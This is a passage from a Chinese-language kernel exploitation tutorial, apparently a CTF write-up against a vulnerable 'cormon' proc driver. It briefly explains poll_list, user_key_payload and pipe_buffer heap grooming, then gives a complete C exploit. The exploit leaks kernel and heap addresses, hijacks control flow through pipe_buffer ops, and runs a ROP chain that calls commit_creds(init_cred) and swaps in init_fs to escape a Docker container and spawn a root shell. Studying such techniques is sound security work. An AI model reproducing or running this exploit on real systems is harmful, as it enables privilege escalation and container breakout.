釋放 seq_operations ,噴射 0x20 大小的 poll_list 。現在UAF的堆塊被user_key_payloadpoll_list佔領。在 poll_list 被釋放前,釋放劫持的 user_key_payload ,利用 setxattr 修改 poll_listnext 指標指向 target_object - 0x18,方便後續偽造pipe_buffer 。為了實現 setxattr 的噴射效果,setxattr 修改過的 object 透過申請 user_key_payload 劫持,確保下次 setxattr 修改的是另外的 object

開啟 /dev/ptmx 時會分配 tty_file_private 並且該結構體的 tty 指標會指向 tty_struct

int tty_alloc_file(struct file *file)
{
    struct tty_file_private *priv;
​
    priv = kmalloc(sizeof(*priv), GFP_KERNEL);
    if (!priv)
        return -ENOMEM;
​
    file->private_data = priv;
​
    return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};

Linux kernel 堆溢位利用方法(二)

poll_list 還沒有釋放,釋放 tty_struct 並申請 pipe_buffer ,將 target_object(tty_struct) 替換為 pipe_buffer

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

之後 poll_list 釋放導致 target_object - 0x18 區域釋放。我們可以申請一個 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,從而劫持 pipe_buffer->ops 實現控制流劫持。

Linux kernel 堆溢位利用方法(二)

docker逃逸

具體實現為修改 task_structfs 指向 init_fs 。用 find_task_by_vpid() 來定位Docker容器任務,我們用switch_task_namespaces()。但這還不足以從容器中逃逸。在Docker容器中,setns()seccomp預設遮蔽了,我們可以克隆 init_fs 結構,然後用find_task_by_vpid()定位當前任務,用 gadget 手動安裝新fs_struct

    // commit_creds(&init_creds)
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;
​
    // current = find_task_by_vpid(getpid())
    *rop++ = pop_rdi_ret;
    *rop++ = getpid();
    *rop++ = find_task_by_vpid;
​
    // current->fs = &init_fs
    *rop++ = pop_rcx_ret;
    *rop++ = 0x6e0;
    *rop++ = add_rax_rcx_ret;
    *rop++ = pop_rbx_ret;
    *rop++ = init_fs;
    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
    rop++;
​

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
​
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
​
#define PAGE_SIZE 0x1000
​
int randint(int min, int max) {
    return min + (rand() % (max - min));
}
​
void bind_core(bool fixed, bool thread) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
    if (thread) {
        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
    } else {
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    }
}
​
void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
​
bool is_kernel_text_addr(size_t addr) {
    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}
​
bool is_dir_mapping_addr(size_t addr) {
    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}
​
#define INVALID_KERNEL_OFFSET 0x1145141919810
​
const size_t kernel_addr_list[] = {
        0xffffffff813275c0,
        0xffffffff812d4320,
        0xffffffff812d4340,
        0xffffffff812d4330
};
​
size_t kernel_offset_query(size_t kernel_text_leak) {
    if (!is_kernel_text_addr(kernel_text_leak)) {
        return INVALID_KERNEL_OFFSET;
    }
    for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
        if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
            && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
            return kernel_text_leak - kernel_addr_list[i];
        }
    }
    printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
    return INVALID_KERNEL_OFFSET;
}
​
size_t search_kernel_offset(void *buf, int len) {
    size_t *search_buf = buf;
    for (int i = 0; i < len / 8; i++) {
        size_t kernel_offset = kernel_offset_query(search_buf[i]);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
            printf("[+] kernel offset: %#lx\n", kernel_offset);
            return kernel_offset;
        }
    }
    return INVALID_KERNEL_OFFSET;
}
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
typedef struct {
    int nfds, timer;
} poll_args;
​
struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};
​
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;
​
void *alloc_poll_list(void *args) {
    int nfds = ((poll_args *) args)->nfds;
    int timer = ((poll_args *) args)->timer;
​
    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
    }
​
    bind_core(true, true);
​
    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);
    poll(pfds, nfds, timer);
​
    bind_core(false, true);
​
    pthread_mutex_lock(&mutex);
    poll_threads--;
    pthread_mutex_unlock(&mutex);
}
​
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
​
pthread_t poll_tid[POLL_NUM];
​
void create_poll_thread(size_t size, int timer) {
    poll_args *args = calloc(1, sizeof(poll_args));
    args->nfds = 
        (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
        + N_STACK_PPS;
    args->timer = timer;
    pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}
​
void wait_poll_start() {
    while (poll_threads != poll_cnt);
}
​
void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
    for (int i = 0; i < poll_threads; i++) {
        pthread_join(poll_tid[i], NULL);
        if (confuse != NULL) {
            confuse(confuse_args);
        }
    }
    poll_cnt = poll_threads = 0;
}
​
struct callback_head {
    struct callback_head *next;
​
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
​
#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;
​
struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short datalen;    /* length of this data */
    char data[0] __aligned(__alignof__(u64)); /* actual data */
};
​
#define KEY_NUM 199
int key_id[KEY_NUM];
​
int key_alloc(int id, void *payload, int payload_len) {
    char description[0x10] = {};
    sprintf(description, "%d", id);
    return key_id[id] = 
        syscall(__NR_add_key, "user", description, payload, 
                payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
​
int key_update(int id, void *payload, size_t plen) {
    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
​
int key_read(int id, void *bufer, size_t buflen) {
    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
​
int key_revoke(int id) {
    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
​
int key_unlink(int id) {
    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
​
struct list_head {
    struct list_head *next, *prev;
};
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};
​
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
​
struct pipe_bufer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};
​
struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
​
void get_shell(void) {
    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);
}
​
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
​
int cormon_fd;
char buf[0x20000];
​
void seq_confuse(void *args) {
    open("/proc/self/stat", O_RDONLY);
}
​
size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;
​
int main() {
    bind_core(true, false);
    save_status();
    signal(SIGSEGV, (void *) get_shell);
​
    cormon_fd = open("/proc_rw/cormon", O_RDWR);
    if (cormon_fd < 0) {
        perror("[-] failed to open cormon.");
        exit(-1);
    }
    
    size_t kernel_offset;
    int target_key;
    puts("[*] Saturating kmalloc-32 partial slabs...");
​
    int seq_fd[SEQ_NUM];
    for (int i = 0; i < SEQ_NUM; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (seq_fd[i] < 0) {
            perror("[-] failed to open stat.");
            exit(-1);
        }
        if (i == 2048) {
            puts("[*] Spraying user keys in kmalloc-32...");
            for (int j = 0; j < KEY_NUM; j++) {
                setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
                key_alloc(j, buf, 32);
                if (j == 72) {
                    bind_core(false, false);
                    puts("[*] Creating poll threads...");
                    for (int k = 0; k < 14; k++) {
                        create_poll_thread(
                            PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 
                            3000);
                    }
                    bind_core(true, false);
                    wait_poll_start();
                }
            }
            puts("[*] Corrupting poll_list next pointer...");
            write(cormon_fd, buf, PAGE_SIZE);
            puts("[*] Triggering arbitrary free...");
            join_poll_threads(seq_confuse, NULL);
            puts("[*] Overwriting user key size / Spraying seq_operations structures...");
        }
    }
    puts("[*] Leaking kernel pointer...");
​
    for (int i = 0; i < KEY_NUM; i++) {
        int len = key_read(i, buf, sizeof(buf));
        kernel_offset = search_kernel_offset(buf, len);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            qword_dump("dump leak memory", buf, 0x1000);
            target_key = i;
            break;
        }
    }
    if (kernel_offset == INVALID_KERNEL_OFFSET) {
        puts("[-] failed to leak kernel offset,try again.");
        exit(-1);
    }
​
    push_rsi_pop_rsp_ret += kernel_offset;
    pop_rdi_ret += kernel_offset;
    init_cred += kernel_offset;
    commit_creds += kernel_offset;
    pop_r14_pop_r15_ret += kernel_offset;
    find_task_by_vpid += kernel_offset;
    init_fs += kernel_offset;
    pop_rcx_ret += kernel_offset;
    add_rax_rcx_ret += kernel_offset;
    mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
    pop_rbx_ret += kernel_offset;
    swapgs_ret += kernel_offset;
    iretq += kernel_offset;
​
    puts("[*] Freeing user keys...");
    for (int i = 0; i < KEY_NUM; i++) {
        if (i != target_key) {
            key_unlink(i);
        }
    }
    sleep(1);
​
    puts("[*] Spraying tty_file_private / tty_struct structures...");
    int tty_fd[TTY_NUM];
    for (int i = 0; i < TTY_NUM; i++) {
        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        if (tty_fd[i] < 0) {
            perror("[-] failed to open ptmx");
        }
    }
​
    puts("[*] Leaking heap pointer...");
​
    size_t target_object = -1;
    int len = key_read(target_key, buf, sizeof(buf));
    qword_dump("dump leak memory", buf, 0x1000);
    for (int i = 0; i < len; i += 8) {
        struct tty_file_private *head = (void *) &buf[i];
        if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
            && head->list.next == head->list.prev && head->list.prev != NULL) {
            qword_dump("leak tty_struct addr from tty_file_private", &buf[i], 
                       sizeof(struct tty_file_private));
            target_object = (size_t) head->tty;
            printf("[+] tty_struct addr: %p\n", target_object);
            break;
        }
    }
    if (target_object == -1) {
        puts("[-] failed to leak tty_struct addr.");
        exit(-1);
    }
​
    puts("[*] Freeing seq_operation structures...");
    for (int i = 2048; i < SEQ_NUM; i++) {
        close(seq_fd[i]);
    }
​
    bind_core(false, false);
​
    puts("[*] Creating poll threads...");
    for (int i = 0; i < 192; i++) {
        create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
    }
​
    bind_core(true, false);
​
    wait_poll_start();
​
    puts("[*] Freeing corrupted key...");
    key_unlink(target_key);
    sleep(1); // GC key
​
    puts("[*] Overwriting poll_list next pointer...");
    char key[32] = {};
    *(size_t *) &buf[0] = target_object - 0x18;
​
    for (int i = 0; i < KEY_NUM; i++) {
        setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
        key_alloc(i, key, 32);
    }
​
    puts("[*] Freeing tty_struct structures...");
    for (int i = 0; i < TTY_NUM; i++) {
        close(tty_fd[i]);
    }
​
    sleep(1); // GC TTYs
    int pipe_fd[PIPE_NUM][2];
    puts("[*] Spraying pipe_bufer structures...");
    for (int i = 0; i < PIPE_NUM; i++) {
        pipe(pipe_fd[i]);
        write(pipe_fd[i][1], "aaaaaa", 6);
    }
​
    puts("[*] Triggering arbitrary free...");
    join_poll_threads(NULL, NULL);
​
​
    ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
    ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;
​
​
    size_t *rop = (size_t *) buf;
​
    *rop++ = pop_r14_pop_r15_ret;
    rop++;
    rop++; // ops
​
    // commit_creds(&init_creds)
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;
​
    // current = find_task_by_vpid(getpid())
    *rop++ = pop_rdi_ret;
    *rop++ = getpid();
    *rop++ = find_task_by_vpid;
​
    // current->fs = &init_fs
    *rop++ = pop_rcx_ret;
    *rop++ = 0x6e0;
    *rop++ = add_rax_rcx_ret;
    *rop++ = pop_rbx_ret;
    *rop++ = init_fs;
    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
    rop++;
​
    // back to user
    *rop++ = swapgs_ret;
    *rop++ = iretq;
    *rop++ = (uint64_t) get_shell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;
​
    puts("[*] Spraying ROP chain...");
    for (int i = 0; i < 31; i++) {
        key_alloc(i, buf, 1024);
    }
​
    puts("[*] Hijacking control flow...");
    for (int i = 0; i < PIPE_NUM; i++) {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }
​
    sleep(5);
​
    return 0;
}

多試幾次還是可以成功的。

Linux kernel 堆溢位利用方法(二)

更多網安技能的線上實操練習,請點選這裡>>

相關文章